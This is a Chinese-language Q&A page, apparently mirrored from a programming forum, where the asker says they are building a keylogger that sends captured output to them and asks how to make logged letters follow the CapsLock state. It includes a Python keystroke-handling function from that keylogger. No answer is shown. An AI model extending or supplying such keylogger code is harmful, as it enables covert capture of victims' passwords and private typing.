按下 CapsLock 时如何将输出更改为大写/小写?

问题描述 投票:0回答:0

我正在写一个键盘记录器,我正在做一些收尾工作。现在我想让键盘记录器发送给我的输出根据按下 CapsLock 键的时间变为大写或小写?我该怎么做?

到目前为止这是无效的:

def process_key_press(self, key):
        try:
            current_key = str(key.char)

        except AttributeError:
            if key == key.space:
                current_key = " "
            elif key == key.caps_lock:
                current_key = "[CAPS]\n"
            elif key == key.enter:
                current_key = "\n[ENTER]\n"
            elif key == key.tab:
                current_key = "[TAB]"
            elif key == key.backspace:
                current_key = ""
            elif key == key.shift or key == key.shift_r:
                current_key = "[SHIFT]\n"
            else:
                current_key = " " + str(key) + " "

        self.append_to_log(current_key)
python keylogger
© www.soinside.com 2019 - 2024. All rights reserved.